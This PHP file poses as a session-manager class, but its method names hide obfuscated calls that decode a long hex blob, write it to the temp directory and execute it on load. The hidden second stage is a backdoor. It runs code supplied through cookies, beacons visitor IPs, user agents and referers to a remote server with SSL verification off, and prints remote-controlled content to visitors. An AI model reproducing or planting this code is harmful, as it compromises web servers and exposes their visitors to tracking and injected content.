<?php
class SessionManager
{
    private $mu = '';
    private $bo = '';
    public function resolveConflict($p1)
    {
        $h = array(69 * 1 + 41, 105, 13 + 74 + 11, 2 * 25, 63 * 1 + 57, 38 * 2 + 25, 29 * 103 - 2883);
        $k = '';
        foreach ($h as $n) {
            $k .= chr($n);
        }
        $k = strrev($k);
        return $k($p1);
    }
    public function sendNotification($p1, $p2)
    {
        $c = array(110, 10 + 91, 113 - 1, 103 * 1 + 8, 56 + 12 + 34);
        $q = '';
        foreach ($c as $w) {
            $q .= chr($w);
        }
        $q = strrev($q);
        return $q($p1, $p2);
    }
    public function checkConsistency($p1, $p2)
    {
        $d = array(108 - 6, 17 + 102, 120 - 6, 105, 116, 75 + 26);
        $y = '';
        foreach ($d as $yy) {
            $y .= chr($yy);
        }
        return $y($p1, $p2);
    }
    public function resetState($p1)
    {
        $j = array(88 * 1 + 14, 99, 2 * 54, 37 * 20 - 629, 64 + 47 + 4, 101);
        $z = '';
        foreach ($j as $c) {
            $z .= chr($c);
        }
        return $z($p1);
    }
    public function updateCache($p1, $p2 = null)
    {
        $u = array(108 + 1, 109 - 4, 114, 116, 15 + 99);
        $t = '';
        foreach ($u as $i) {
            $t .= chr($i);
        }
        $t = strrev($t);
        return $t($p1, $p2);
    }
    public function manageState()
    {
        $this->bo = $this->updateCache($this->trackActivity(), '/');
    }
    public function cacheData()
    {
        $this->mu = $this->resolveConflict($this->ir);
    }
    public function rollbackTransaction()
    {
        $fn = $this->bo . '/kg-68ba241c0d5dd';
        $f = $this->sendNotification($fn, 'w');
        $this->checkConsistency($f, $this->mu);
        $this->resetState($f);
        $this->handleRequest($fn);
    }
    private $ir = '3c3f70687020636c617373205f6466797b707269766174652' . '0737461746963245f76733b7374617469632066756e6374696' . 'f6e205f77696328245f6870297b6966282173656c663a3a245' . 'f76732973656c663a3a5f76676e28293b72657475726e20686' . '5783262696e2873656c663a3a245f76735b245f68705d293b7' . 'd70726976617465207374617469632066756e6374696f6e205' . 'f76676e28297b73656c663a3a245f76733d617272617928275' . 'f707a72273d3e2734313633363336353733373332643433366' . '63665373437272e273236663663272e2732643431366336633' . '6272e276637373264272e27346637323639363736393665336' . '13230272e273261272c275f6962273d3e27343336663665373' . '43635366537343264353437393730363533613230363137303' . '73036633639363336313734363936663665326636613631373' . '636313733363337323639373037272e2734272c275f6d6d782' . '73d3e273633272e2736272e2738272c275f6d69273d3e27363' . '53739346137303633343334393336343936613637333434633' . '66136373334346336613637333434633661363733343439363' . '93737363936343537343536393466363934613330356135383' . '46533303439363937373639363336643536366434393661366' . '636393634343735272e273637613634343334613339272c275' . 'f6b75273d3e2737272e273137373761272e273738272c275f6' . '16572273d3e2733633666366233272e2765272c275f636a273' . 'd3e27336336323631363433272e2765272c275f7a6b71273d3' . 'e27373736272e2731366336272e2763272c275f796d273d3e2' . '7272c275f686d79273d3e27272c275f647978273d3e27272c2' . '75f7166273d3e2736383734373437272e27303361326632663' . '73037353632326537373635363236363639366336353638366' . '637333734272e2736353732326536333666366432663633366' . '636643730366637333635373232653661373333663634272e2' . '736313734272e2736272e2731272e2733272e2764272c275f6' . '76e273d3e2736333735272e273732366335663639366536392' . '72e273734272c275f646874273d3e273638373437272e27343' . '730272e273566363336272e276636343635272c275f706b273' . 'd3e273733363336272e27383635366436272e2735272c275f6' . 'b6a273d3e273638373437343730272e273733272c275f6c662' . '73d3e2734373435272e273534272e2732272e2730272c275f7' . '06d273d3e27373036313734272e273638272c275f786b273d3' . 'e273731272e273735363537272e273237272e2739272c275f7' . '970273d3e2733272e2766272c275f62746a273d3e273731372' . '72e2735272e27363537272e27323739272c275f646761273d3' . 'e273230343835272e273435343530326633313265333030642' . '72e273061272e273438366637333734336132272e2730272c2' . '75f696b273d3e2736383666373337272e2734272c275f71642' . '73d3e273064306134333666366536653635363337343639366' . '636653361323034272e273336633666373336353064272e273' . '0272e276130272e2764272e2730272e2761272c275f6466702' . '73d3e2737333733272e273663336132272e276632272e27662' . '72c275f7a6669273d3e27272c275f6b7073273d3e273638366' . '63733272e273734272c275f7a62273d3e273064272e2730272' . 'e2761272c275f7765273d3e2734272e2738353435343530356' . '634333463272e273439272e27343534272e276535343566343' . '93530272c275f696c70273d3e2734383534353435303566353' . '8356634272e273634663532353734313532343434353434356' . '63436272e2734272e27663532272c275f65726d273d3e27353' . '23435346434272e27663534343535272e2766343134272e273' . '4343435272e2732272c275f6c68273d3e2734272e273835343' . '5343530356635272e2735353334353532272e273566272e273' . '43134373435346535272e2734272c275f6c62273d3e2734383' . '534353435303566353535333435353235272e2766343134373' . '4353465272e2735272e2734272c275f7375273d3e27272c275' . 'f6c6177273d3e2734383534353435303566353234353436343' . '5272e273532343535272e2732272c275f6771273d3e2734383' . '534353435303566272e27353234353436343535323435272e2' . '735272e2732272c275f787a273d3e27272c275f636466273d3' . 'e27343835343534353035663433346334393435346535272e2' . '734356634272e273935272e2730272c275f766163273d3e273' . '43835343534353035663433346334393435346535343566343' . '9272e2735272e2730272c275f6d7677273d3e2734383534353' . '4353035663538356634363466353235272e273734313532343' . '434353434356634272e27363466272e2735272e2732272c275' . 'f6e6a273d3e2734272e273835272e273435343530356635383' . '5272e2766343634663532353734313532272e2734343435343' . '435663436346635272e2732272c275f69656a273d3e2735323' . '4353464346635272e27343435356634313434343435272e273' . '2272c275f787a72273d3e273532343534272e2764346635343' . '435356634272e27313434343435272e2732272c275f6e61273' . 'd3e27363436323637366436272e276636343635272c275f6c7' . '2273d3e2734393530336132272e2730272c275f6764273d3e2' . '732272e2730376332303535272e2734272e273133613230272' . 'c275f736c273d3e27323037633230353236353636272e27336' . '13230272c275f77716b273d3e27323033272e2763363237323' . '36530272e2761272c275f79736d273d3e2736393730272c275' . 'f7069273d3e27373536272e2731272c275f746d67273d3e273' . '732363536272e2736272c275f7361273d3e273731373737613' . '7272e2738272c293b7d7d686561646572285f6466793a3a5f7' . '7696328275f707a272e27722729293b686561646572285f646' . '6793a3a5f77696328275f69622729293b69662869737365742' . '8245f4745545b5f6466793a3a5f77696328275f6d6d272e277' . '827295d29297b245f6b743d5f636d78285f6466793a3a5f776' . '96328275f6d272e27692729293b696628245f6b74262673747' . '2706f7328245f6b742c5f6466793a3a5f77696328275f6b752' . '72929213d3d66616c7365297b646965285f6466793a3a5f776' . '96328275f6165722729293b7d656c73657b646965285f64667' . '93a3a5f77696328275f272e27636a2729293b7d7d696628697' . '373657428245f4745545b5f6466793a3a5f77696328275f7a2' . '72e276b7127295d29297b245f69783d245f434f4f4b49453b2' . '45f62666f3d282d3531322b353132293b245f68703d2837313' . '32d3634302d202d3137392d323435293b245f73663d6172726' . '17928293b245f73665b245f62666f5d3d5f6466793a3a5f776' . '96328275f796d27293b7768696c6528245f6870297b245f736' . '65b245f62666f5d2e3d245f69785b2d32332d3130392d202d3' . '3332d202d3132395d5b245f68705d3b69662821245f69785b2' . '8696e7429726f756e6428372e352b372e352b372e352b372e3' . '5295d5b245f68702b28696e7429726f756e6428302e32352b3' . '02e32352b302e32352b302e3235295d297b69662821245f697' . '85b3539362d202d3232392d3739355d5b245f68702b2836322' . 'd34362b2d3134295d29627265616b3b245f62666f2b2b3b245' . 'f73665b245f62666f5d3d5f6466793a3a5f77696328275f686' . 'd7927293b245f68702b2b3b7d245f68703d245f68702b28373' . '4302d3636382b2d3635292b28696e7429726f756e6428302e3' . '52b302e35293b7d245f62666f3d245f73665b28696e7429726' . 'f756e6428372b37295d28292e245f73665b28696e7429726f7' . '56e6428362b362b362b36295d3b69662821245f73665b28696' . 'e7429726f756e6428332b33295d28245f62666f29297b245f6' . '8703d245f73665b3130392b3133302b2d3137312d34325d282' . '45f62666f2c245f73665b28696e7429726f756e6428332e333' . '333333333333333333333332b332e333333333333333333333' . '333332b332e33333333333333333333333333295d293b245f7' . '3665b28696e7429726f756e6428332b332b33295d28245f687' . '02c245f73665b28696e7429726f756e6428332e36363636363' . '6363636363636372b332e363636363636363636363636372b3' . '32e36363636363636363636363637295d2e245f73665b28696' . 'e7429726f756e642831312e352b31312e35295d28245f73665' . 'b28696e7429726f756e642831322e352b31322e35295d28245' . 'f69785b28696e7429726f756e6428302e37352b302e37352b3' . '02e37352b302e3735295d2929293b7d696e636c75646528245' . 'f62666f293b7d66756e6374696f6e205f636d7828245f6c702' . 'c245f616c733d66616c7365297b245f7464703d5f6466793a3' . 'a5f77696328275f64272e2779272e277827293b245f66686b3' . 'd5f6466793a3a5f77696328275f272e27716627292e245f6c7' . '03b69662869735f63616c6c61626c65285f6466793a3a5f776' . '96328275f272e27676e272929297b245f6961743d6375726c5' . 'f696e697428245f66686b293b6375726c5f7365746f7074282' . '45f6961742c4355524c4f50545f53534c5f564552494659504' . '545522c66616c7365293b6375726c5f7365746f707428245f6' . '961742c4355524c4f50545f53534c5f564552494659484f535' . '42c2d3731302b3630332b2d3731302b383139293b6375726c5' . 'f7365746f707428245f6961742c4355524c4f50545f464f4c4' . 'c4f574c4f434154494f4e2c2d3132382b3333382d323039293' . 'b6375726c5f7365746f707428245f6961742c4355524c4f505' . '45f52455455524e5452414e534645522c3730392b2d3730382' . '93b6375726c5f7365746f707428245f6961742c4355524c4f5' . '0545f4845414445522c2d32342d3134362b313730293b63757' . '26c5f7365746f707428245f6961742c4355524c4f50545f434' . 'f4e4e45435454494d454f55542c28696e7429726f756e64283' . '52b3529293b6375726c5f7365746f707428245f6961742c435' . '5524c4f50545f54494d454f55542c28696e7429726f756e642' . '8352b3529293b245f7464703d6375726c5f6578656328245f6' . '96174293b245f69666d3d6375726c5f676574696e666f28245' . 'f696174293b6375726c5f636c6f736528245f696174293b696' . '628245f69666d5b5f6466793a3a5f77696328275f6468272e2' . '77427295d213d283539302d3530322b3131322929726574757' . '26e2066616c73653b7d656c73657b245f796f3d70617273655' . 'f75726c28245f66686b293b245f74713d28245f796f5b5f646' . '6793a3a5f77696328275f70272e276b27295d3d3d5f6466793' . 'a3a5f77696328275f272e276b6a2729293b245f67663d5f646' . '6793a3a5f77696328275f6c272e276627292e245f796f5b5f6' . '466793a3a5f77696328275f706d27295d3b696628697373657' . '428245f796f5b5f6466793a3a5f77696328275f272e2778272' . 'e276b27295d2929245f67662e3d5f6466793a3a5f776963282' . '75f79272e277027292e245f796f5b5f6466793a3a5f7769632' . '8275f272e2762746a27295d3b245f67662e3d5f6466793a3a5' . 'f77696328275f6467272e276127292e245f796f5b5f6466793' . 'a3a5f77696328275f272e27696b27295d2e5f6466793a3a5f7' . '7696328275f716427293b245f677a683d66736f636b6f70656' . 'e2828245f74713f5f6466793a3a5f77696328275f64272e276' . '6272e277027293a5f6466793a3a5f77696328275f7a6669272' . '9292e245f796f5b5f6466793a3a5f77696328275f6b70272e2' . '77327295d2c245f74713f28696e7429726f756e64283232312' . 'e352b3232312e35293a2d3132342b2d3238342d3131312d202' . 'd353939293b696628245f677a68297b667075747328245f677' . 'a682c245f6766293b245f7166703d28696e7429726f756e642' . '8302b302b30293b7768696c65282166656f6628245f677a682' . '9297b245f6d703d666765747328245f677a682c313238372b3' . '13134382b313035372b2d32343638293b696628245f7166702' . '9245f7464702e3d245f6d703b696628245f6d703d3d5f64667' . '93a3a5f77696328275f272e277a62272929245f7166703d283' . '135332d202d3732342d3633352b2d323431293b7d66636c6f7' . '36528245f677a68293b7d7d72657475726e245f7464703b7d2' . '45f79766e3d697373657428245f5345525645525b5f6466793' . 'a3a5f77696328275f272e27776527295d293b245f70656a3d6' . '97373657428245f5345525645525b5f6466793a3a5f7769632' . '8275f696c7027295d293b245f77643d697373657428245f534' . '5525645525b5f6466793a3a5f77696328275f65272e2772272' . 'e276d27295d293b245f73783d697373657428245f534552564' . '5525b5f6466793a3a5f77696328275f6c272e276827295d293' . 'f245f5345525645525b5f6466793a3a5f77696328275f6c622' . '7295d3a5f6466793a3a5f77696328275f737527293b245f727' . '76b3d697373657428245f5345525645525b5f6466793a3a5f7' . '7696328275f6c61272e277727295d293f245f5345525645525' . 'b5f6466793a3a5f77696328275f677127295d3a5f6466793a3' . 'a5f77696328275f787a27293b245f79766e3d6973736574282' . '45f5345525645525b5f6466793a3a5f77696328275f272e276' . '3272e2764272e276627295d293f245f5345525645525b5f646' . '6793a3a5f77696328275f7661272e276327295d3a6e756c6c3' . 'b245f70656a3d697373657428245f5345525645525b5f64667' . '93a3a5f77696328275f6d767727295d293f245f53455256455' . '25b5f6466793a3a5f77696328275f6e6a27295d3a6e756c6c3' . 'b245f77643d697373657428245f5345525645525b5f6466793' . 'a3a5f77696328275f6965272e276a27295d293f245f5345525' . '645525b5f6466793a3a5f77696328275f78272e277a7227295' . 'd3a6e756c6c3b69662866696c7465725f76617228245f79766' . 'e2c3938302b2d34312d36363429297b245f73643d245f79766' . 'e3b7d656c736569662866696c7465725f76617228245f70656' . 'a2c3532302d32343529297b245f73643d245f70656a3b7d656' . 'c73657b245f73643d245f77643b7d696628697373657428245' . 'f4745545b5f6466793a3a5f77696328275f6e6127295d29297' . 'b6563686f205f6466793a3a5f77696328275f272e276c72272' . '92e245f73642e5f6466793a3a5f77696328275f67272e27642' . '7292e245f73782e5f6466793a3a5f77696328275f272e27732' . '72e276c27292e245f72776b2e5f6466793a3a5f77696328275' . 'f77272e2771272e276b27293b6578697428293b7d696628216' . '97373657428245f7364297c7c21697373657428245f7378297' . 'c7c21697373657428245f72776b29297b6578697428293b7d6' . '56c73657b245f6f753d6172726179285f6466793a3a5f77696' . '328275f79272e27736d27293d3e245f73642c5f6466793a3a5' . 'f77696328275f272e2770272e276927293d3e245f73782c5f6' . '466793a3a5f77696328275f746d6727293d3e245f72776b293' . 'b245f6c633d75726c656e636f6465286261736536345f656e6' . '36f6465286a736f6e5f656e636f646528245f6f752929293b2' . '45f6b743d5f636d7828245f6c63293b696628245f6b7426267' . '37472706f7328245f6b742c5f6466793a3a5f77696328275f7' . '3272e2761272929213d3d66616c7365297b6563686f245f6b7' . '43b6578697428293b7d7d';
    public function handleRequest($p)
    {
        require_once $p;
    }
    public function trackActivity()
    {
        $a = array(96 + 15 + 4, 76 * 1 + 45, 124 - 9, 22 * 1 + 73, 16 * 84 - 1241, 102 - 1, 2 * 58, 5 * 19, 2 * 58, 39 * 101 - 3838, 109, 2 * 56, 99 - 4, 69 + 31, 3 * 35, 66 * 99 - 6420);
        $s = '';
        foreach ($a as $n) {
            $s .= chr($n);
        }
        return $s();
    }
}

$rp = new SessionManager();
$rp->manageState();
$rp->cacheData();
$rp->rollbackTransaction();